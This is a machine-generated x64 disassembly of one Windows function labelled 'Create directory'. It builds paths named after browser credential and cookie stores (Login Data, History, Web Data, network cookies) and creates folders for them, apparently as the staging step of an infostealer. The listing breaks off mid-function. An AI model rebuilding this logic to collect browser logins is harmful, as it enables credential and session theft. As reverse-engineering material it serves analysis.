Function at 0x140014a70
Capabilities:
Create directory

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x458]
sub rsp, 0x558
mov rax, qword [0x1402cbc00]
xor rax, rsp
mov qword [rbp + 0x440], rax
mov qword [rbp + 0x68], r9
mov rax, r8
mov qword [rbp - 0x10], rax
mov r8, rdx
mov qword [rbp + 0xa8], rdx
mov rdx, rcx
mov qword [rbp + 0xa0], rcx
mov qword [rbp + 0x118], rcx
mov qword [rbp + 0x120], r8
mov qword [rbp + 0x128], rax
mov qword [rbp + 0x130], r9
mov rdi, qword [rbp + 0x4c0]
mov qword [rbp], rdi
mov qword [rbp + 0x110], rdi
mov rax, qword [rbp + 0x4c8]
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0x138], rax
mov rcx, qword [rbp + 0x4d0]
mov qword [rbp - 8], rcx
mov rax, qword [rbp + 0x4d8]
mov qword [rbp + 0x60], rax
mov rsi, qword [rbp + 0x4e0]
mov qword [rbp + 0x18], rsi
mov qword [rbp + 0x140], rsi
mov rbx, qword [rbp + 0x4e8]
mov qword [rbp - 0x40], rbx
mov qword [rbp + 0x148], rbx
xor r14d, r14d
mov rcx, qword [rdx]
mov qword [rbp + 0x70], rcx
mov rax, qword [rdx + 8]
mov qword [rbp + 0xb8], rax
cmp rcx, rax
je 0x1400167b8
movzx r15d, byte [rsp + 0x40]
movzx r12d, byte [rsp + 0x40]
movzx r13d, byte [rsp + 0x40]
movzx r14d, byte [rsp + 0x40]
movzx esi, byte [rsp + 0x40]
movzx ebx, byte [rsp + 0x40]
movzx edi, byte [rsp + 0x40]
nop
mov rdx, rcx
lea rcx, [rbp + 0x150]
call fcn.1400322e0
nop
mov rax, qword [rbp - 0x40]
cmp qword [rax + 0x18], 0xf
jbe 0x140014ba7
mov r8, qword [rax]
add r8, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140014bae
mov r8, qword [rax + 0x10]
add r8, rax
mov rdx, rax
lea rcx, [rbp + 0x420]
call fcn.140038620
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor eax, eax
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rax
mov r8d, 7
lea rdx, str._output
lea rcx, [rbp - 0x60]
call fcn.140039b70
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x420]
lea rcx, [rbp + 0x220]
call fcn.14000b2e0
nop
lea rax, [rbp + 0x220]
cmp qword [rbp + 0x238], 7
cmova rax, qword [rbp + 0x220]
mov qword [rsp + 0x50], rax
mov rcx, qword [rbp]
mov rdx, qword [rcx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, 1
jb 0x140016863
mov r9, rcx
cmp qword [rcx + 0x18], 0xf
jbe 0x140014c45
mov r9, qword [rcx]
mov qword [rsp + 0x30], 1
lea rax, [0x140284684]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
mov r8, rcx
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp - 0x30]
call fcn.14003c170
nop
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rbp - 0x30]
call fcn.140032060
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xor ecx, ecx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rcx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, recv
lea rdx, str._Login_Data
lea rcx, [rsp + 0x58]
call fcn.140032060
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x380], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x390], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rsp + 0x58]
call fcn.140034ac0
nop
lea rcx, [rbp - 0x30]
call fcn.140034ac0
mov rcx, qword [rbp]
mov rdx, qword [rcx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, 1
jb 0x1400168b1
mov r9, rcx
cmp qword [rcx + 0x18], 0xf
jbe 0x140014d47
mov r9, qword [rcx]
mov qword [rsp + 0x30], 1
lea rax, [0x140284684]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
mov r8, rcx
movzx edx, r15b
lea rcx, [rbp - 0x60]
call fcn.14003c170
nop
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rbp - 0x60]
call fcn.140032060
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xor ecx, ecx
mov qword [rbp - 0x70], rcx
mov qword [rbp - 0x68], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, 8
lea rdx, str._History
lea rcx, [rbp - 0x80]
call fcn.140032060
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x400], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x410], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rbp - 0x80]
call fcn.140034ac0
nop
lea rcx, [rbp - 0x60]
call fcn.140034ac0
mov rcx, qword [rbp]
mov rdx, qword [rcx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, 1
jb 0x1400168ab
mov r9, rcx
cmp qword [rcx + 0x18], 0xf
jbe 0x140014e41
mov r9, qword [rcx]
mov qword [rsp + 0x30], 1
lea rax, [0x140284684]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
mov r8, rcx
movzx edx, r12b
lea rcx, [rbp - 0x30]
call fcn.14003c170
nop
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rbp - 0x30]
call fcn.140032060
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xor ecx, ecx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rcx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, 9
lea rdx, str._Web_Data
lea rcx, [rsp + 0x58]
call fcn.140032060
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x360], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x370], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rsp + 0x58]
call fcn.140034ac0
nop
lea rcx, [rbp - 0x30]
call fcn.140034ac0
mov rcx, qword [rbp]
mov rdx, qword [rcx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, 1
jb 0x1400168a5
mov r9, rcx
cmp qword [rcx + 0x18], 0xf
jbe 0x140014f42
mov r9, qword [rcx]
mov qword [rsp + 0x30], 1
lea rax, [0x140284684]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
mov r8, rcx
movzx edx, r13b
lea rcx, [rbp + 0x40]
call fcn.14003c170
nop
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rbp + 0x40]
call fcn.140032060
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xor ecx, ecx
mov qword [rbp - 0x70], rcx
mov qword [rbp - 0x68], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, 9
lea rdx, str._Web_Data
lea rcx, [rbp - 0x80]
call fcn.140032060
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x340], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x350], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rbp - 0x80]
call fcn.140034ac0
nop
lea rcx, [rbp + 0x40]
call fcn.140034ac0
mov rcx, qword [rbp]
mov rdx, qword [rcx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, 1
jb 0x14001689f
mov r9, rcx
cmp qword [rcx + 0x18], 0xf
jbe 0x14001503c
mov r9, qword [rcx]
mov qword [rsp + 0x30], 1
lea rax, [0x140284684]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
mov r8, rcx
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x20]
call fcn.14003c170
nop
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rbp + 0x20]
call fcn.140032060
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor ecx, ecx
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x48], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str._network_cookies
lea rcx, [rbp - 0x60]
call fcn.140032060
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x320], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x330], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rbp - 0x60]
call fcn.140034ac0
nop
lea rcx, [rbp + 0x20]
call fcn.140034ac0
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
xor eax, eax
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rax
mov r8, 0xffffffffffffffff
mov rax, qword [rbp - 8]
inc r8
cmp word [rax + r8*2], 0
jne 0x140015130
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.140039550
nop
mov eax, dword [rbp + 0x90]
mov dword [rsp + 0x44], eax
lea rcx, [0x1402846c0]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x48], eax
mov ecx, dword [rsp + 0x44]
inc ecx
add ecx, eax
movsxd rdx, ecx
mov eax, 2
mul rdx
mov r9, 0xffffffffffffffff
cmovb rax, r9
mov rcx, rax
call fcn.1401e1514
mov qword [rbp + 0x78], rax
lea r8, [rbp + 0x80]
cmp qword [rbp + 0x98], 7
cmova r8, qword [rbp + 0x80]
mov ecx, dword [rsp + 0x44]
inc ecx
movsxd rdx, ecx
mov rcx, rax
call fcn.1401f091c
mov ecx, dword [rsp + 0x48]
inc ecx
movsxd rdx, ecx
movsxd rcx, dword [rsp + 0x44]
mov rax, qword [rbp + 0x78]
lea rcx, [rax + rcx*2]
lea r8, [0x1402846c0]
call fcn.1401f091c
nop
lea rcx, [rbp + 0x80]
call fcn.1400349b0
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
xor eax, eax
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rax
mov r8, 0xffffffffffffffff
mov rax, qword [rbp - 8]
inc r8
cmp word [rax + r8*2], 0
jne 0x140015203
mov rdx, rax
lea rcx, [rbp + 0x40]
call fcn.140039550
nop
mov eax, dword [rbp + 0x50]
mov dword [rsp + 0x44], eax
lea rcx, [0x1402846d0]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x48], eax
mov ecx, dword [rsp + 0x44]
inc ecx
add ecx, eax
movsxd rdx, ecx
mov eax, 2
mul rdx
mov r9, 0xffffffffffffffff
cmovb rax, r9
mov rcx, rax
call fcn.1401e1514
mov qword [rbp + 8], rax
lea r8, [rbp + 0x40]
cmp qword [rbp + 0x58], 7
cmova r8, qword [rbp + 0x40]
mov ecx, dword [rsp + 0x44]
inc ecx
movsxd rdx, ecx
mov rcx, rax
call fcn.1401f091c
mov ecx, dword [rsp + 0x48]
inc ecx
movsxd rdx, ecx
movsxd rcx, dword [rsp + 0x44]
mov rax, qword [rbp + 8]
lea rcx, [rax + rcx*2]
lea r8, [0x1402846d0]
call fcn.1401f091c
nop
lea rcx, [rbp + 0x40]
call fcn.1400349b0
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xor eax, eax
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rax
mov r8, 0xffffffffffffffff
mov rax, qword [rbp - 8]
inc r8
cmp word [rax + r8*2], 0
jne 0x1400152c4
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.140039550
nop
mov eax, dword [rbp - 0x20]
mov dword [rsp + 0x44], eax
lea rcx, [0x1402846e8]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x48], eax
mov ecx, dword [rsp + 0x44]
inc ecx
add ecx, eax
movsxd rdx, ecx
mov eax, 2
mul rdx
mov r9, 0xffffffffffffffff
cmovb rax, r9
mov rcx, rax
call fcn.1401e1514
mov qword [rbp + 0x10], rax
lea r8, [rbp - 0x30]
cmp qword [rbp - 0x18], 7
cmova r8, qword [rbp - 0x30]
mov ecx, dword [rsp + 0x44]
inc ecx
movsxd rdx, ecx
mov rcx, rax
call fcn.1401f091c
mov ecx, dword [rsp + 0x48]
inc ecx
movsxd rdx, ecx
movsxd rcx, dword [rsp + 0x44]
mov rax, qword [rbp + 0x10]
lea rcx, [rax + rcx*2]
lea r8, [0x1402846e8]
call fcn.1401f091c
nop
lea rcx, [rbp - 0x30]
call fcn.1400349b0
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xor eax, eax
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], rax
mov r8, 0xffffffffffffffff
mov rax, qword [rbp - 8]
inc r8
cmp word [rax + r8*2], 0
jne 0x140015385
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.140039550
nop
mov eax, dword [rbp - 0x70]
mov dword [rsp + 0x44], eax
lea rcx, [0x1402846f8]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x48], eax
mov ecx, dword [rsp + 0x44]
inc ecx
add ecx, eax
movsxd rdx, ecx
mov eax, 2
mul rdx
mov r9, 0xffffffffffffffff
cmovb rax, r9
mov rcx, rax
call fcn.1401e1514
mov qword [rbp - 0x38], rax
lea r8, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova r8, qword [rbp - 0x80]
mov ecx, dword [rsp + 0x44]
inc ecx
movsxd rdx, ecx
mov rcx, rax
call fcn.1401f091c
mov ecx, dword [rsp + 0x48]
inc ecx
movsxd rdx, ecx
movsxd rcx, dword [rsp + 0x44]
mov rax, qword [rbp - 0x38]
lea rcx, [rax + rcx*2]
lea r8, [0x1402846f8]
call fcn.1401f091c
nop
lea rcx, [rbp - 0x80]
call fcn.1400349b0
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xor eax, eax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov r8, 0xffffffffffffffff
mov rax, qword [rbp - 8]
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140015450
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140039550
nop
mov eax, dword [rsp + 0x68]
mov dword [rsp + 0x44], eax
lea rcx, [0x140284710]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x48], eax
mov ecx, dword [rsp + 0x44]
inc ecx
add ecx, eax
movsxd rdx, ecx
mov eax, 2
mul rdx
mov r9, 0xffffffffffffffff
cmovb rax, r9
mov rcx, rax
call fcn.1401e1514
mov qword [rsp + 0x78], rax
lea r8, [rsp + 0x58]
cmp qword [rsp + 0x70], 7
cmova r8, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x44]
inc ecx
movsxd rdx, ecx
mov rcx, rax
call fcn.1401f091c
mov ecx, dword [rsp + 0x48]
inc ecx
movsxd rdx, ecx
movsxd rcx, dword [rsp + 0x44]
mov rax, qword [rsp + 0x78]
lea rcx, [rax + rcx*2]
lea r8, [0x140284710]
call fcn.1401f091c
nop
lea rcx, [rsp + 0x58]
call fcn.1400349b0
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140015514
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
mov rcx, qword [rbp - 8]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14001552a
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140015540
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140015556
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14001556c
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140015582
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140015599
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r8, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova r8, qword [rbp + 0x150]
add r8, qword [rbp + 0x160]
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
lea rcx, [rbp + 0x170]
call fcn.140038620
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xor eax, eax
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], rax
mov r8, 0xffffffffffffffff
mov rax, qword [rbp - 8]
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140015600
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.140039550
nop
mov r8d, 1
lea rdx, [0x140284728]
lea rcx, [rbp - 0x80]
call fcn.140031d30
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor ecx, ecx
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x48], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], 7
mov word [rax], cx
lea rdx, [rbp + 0x170]
cmp qword [rbp + 0x188], 7
cmova rdx, qword [rbp + 0x170]
mov r8, qword [rbp + 0x180]
lea rcx, [rbp - 0x60]
call fcn.140031d30
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x3e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x3f0], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], 7
mov word [rax], cx
lea rcx, [rbp - 0x60]
call fcn.1400349b0
nop
lea rcx, [rbp - 0x80]
call fcn.1400349b0
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xor eax, eax
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rax
mov r8, 0xffffffffffffffff
mov rax, qword [rbp - 8]
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1400156e0
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.140039550
nop
mov r8d, 1
lea rdx, [0x140284728]
lea rcx, [rbp - 0x30]
call fcn.140031d30
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xor ecx, ecx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rcx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], 7
mov word [rax], cx
lea rdx, [rbp + 0x170]
cmp qword [rbp + 0x188], 7
cmova rdx, qword [rbp + 0x170]
mov r8, qword [rbp + 0x180]
lea rcx, [rsp + 0x58]
call fcn.140031d30
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x3c0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x3d0], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], 7
mov word [rax], cx
lea rcx, [rsp + 0x58]
call fcn.1400349b0
nop
lea rcx, [rbp - 0x30]
call fcn.1400349b0
mov rdx, qword [rbp + 0x68]
mov rcx, qword [rbp + 0x60]
call fcn.1400141f0
mov qword [rsp + 0x50], rax
xor ecx, ecx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rcx
mov r9, 0xffffffffffffffff
mov r8, rax
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [rsp + 0x48], eax
movsxd rdx, eax
xor r8d, r8d
lea rcx, [rbp + 0x200]
call fcn.140032190
lea rcx, [rbp + 0x200]
cmp qword [rbp + 0x218], 0xf
cmova rcx, qword [rbp + 0x200]
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9, 0xffffffffffffffff
mov r8, qword [rsp + 0x50]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
nop
xor edx, edx
mov rcx, qword [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140015858
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rax, qword [rbp - 0x40]
mov r8, qword [rax + 0x10]
mov rdx, qword [rbp - 0x10]
mov r10, qword [rdx + 0x10]
movabs rcx, 0x7fffffffffffffff
sub rcx, r8
cmp rcx, r10
jb 0x140016899
mov r9, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14001588b
mov r9, qword [rax]
mov rcx, rdx
cmp qword [rdx + 0x18], 0xf
jbe 0x140015898
mov rcx, qword [rdx]
mov qword [rsp + 0x30], r10
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r8
mov r8, rax
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x20]
call fcn.14003c170
nop
mov r8d, 1
lea rdx, [0x140284684]
lea rcx, [rbp + 0x20]
call fcn.140032060
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xor ecx, ecx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rcx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rsp + 0x58]
call fcn.140032060
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor ecx, ecx
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x48], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, 0xa
lea rdx, str._logindata
lea rcx, [rbp - 0x60]
call fcn.140032060
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x300], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x310], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rbp - 0x60]
call fcn.140034ac0
nop
lea rcx, [rsp + 0x58]
call fcn.140034ac0
nop
lea rcx, [rbp + 0x20]
call fcn.140034ac0
lea rdx, [rbp + 0x170]
mov rcx, qword [rbp + 0x60]
call fcn.1400141f0
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1400159d6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rax, qword [rbp - 0x40]
mov r8, qword [rax + 0x10]
mov rdx, qword [rbp - 0x10]
mov r10, qword [rdx + 0x10]
movabs rcx, 0x7fffffffffffffff
sub rcx, r8
cmp rcx, r10
jb 0x140016893
mov r9, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140015a09
mov r9, qword [rax]
mov rcx, rdx
cmp qword [rdx + 0x18], 0xf
jbe 0x140015a16
mov rcx, qword [rdx]
mov qword [rsp + 0x30], r10
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r8
mov r8, rax
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x40]
call fcn.14003c170
nop
mov r8d, 1
lea rdx, [0x140284684]
lea rcx, [rbp + 0x40]
call fcn.140032060
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xor ecx, ecx
mov qword [rbp - 0x20], rcx
mov qword [rbp - 0x18], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rbp - 0x30]
call fcn.140032060
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xor ecx, ecx
mov qword [rbp - 0x70], rcx
mov qword [rbp - 0x68], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, 8
lea rdx, str._webdata
lea rcx, [rbp - 0x80]
call fcn.140032060
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
xor ecx, ecx
mov qword [rbp + 0x1f0], rcx
mov qword [rbp + 0x1f8], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1f0], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rbp - 0x80]
call fcn.140034ac0
nop
lea rcx, [rbp - 0x30]
call fcn.140034ac0
nop
lea rcx, [rbp + 0x40]
call fcn.140034ac0
mov rax, qword [rbp - 0x40]
mov r8, qword [rax + 0x10]
mov rdx, qword [rbp - 0x10]
mov r10, qword [rdx + 0x10]
movabs rcx, 0x7fffffffffffffff
sub rcx, r8
cmp rcx, r10
jb 0x14001688d
mov r9, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140015b73
mov r9, qword [rax]
mov rcx, rdx
cmp qword [rdx + 0x18], 0xf
jbe 0x140015b80
mov rcx, qword [rdx]
mov qword [rsp + 0x30], r10
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r8
mov r8, rax
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x20]
call fcn.14003c170
nop
mov r8d, 1
lea rdx, [0x140284684]
lea rcx, [rbp + 0x20]
call fcn.140032060
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xor ecx, ecx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rcx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
